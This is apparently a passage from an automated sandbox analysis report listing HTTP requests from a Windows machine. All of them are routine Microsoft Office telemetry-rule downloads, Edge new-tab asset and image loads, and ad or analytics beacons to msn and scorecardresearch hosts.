Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732745565&P2=404&P3=2&P4=ZB%2bgXIBj4Agt2BtC%2fHONEDZa4nJCsA54Y6a4hDZMGCocwgxByvi0bqY%2bbG%2f739O39OvTR6OWeltaK4qP1WHXyA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 3W4gswHZEdTNr8XH/+eg/ySec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732140775644&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E320C721BF96C1208BE194F1A9E6DEF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732140775644&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e960d3386b8642dbb8e622514e00b247&activityId=e960d3386b8642dbb8e622514e00b247&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3E320C721BF96C1208BE194F1A9E6DEF&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cf7b9bccf3fb4804a457622c191ce666 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msDTr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732140775644&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3E320C721BF96C1208BE194F1A9E6DEF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1DBf0b8d3a1985a555ca5f01732140778; XID=1DBf0b8d3a1985a555ca5f01732140778
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3E320C721BF96C1208BE194F1A9E6DEF&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=36851c26bbbf46d9f1a2443512c467ac HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCD.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732140775644&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e960d3386b8642dbb8e622514e00b247&activityId=e960d3386b8642dbb8e622514e00b247&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2947A454840A4FD09991B5E1B311CF6E&MUID=3E320C721BF96C1208BE194F1A9E6DEF HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3E320C721BF96C1208BE194F1A9E6DEF; _EDGE_S=F=1&SID=24F93A4A6BD86D8F04B02F776AF66C44; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
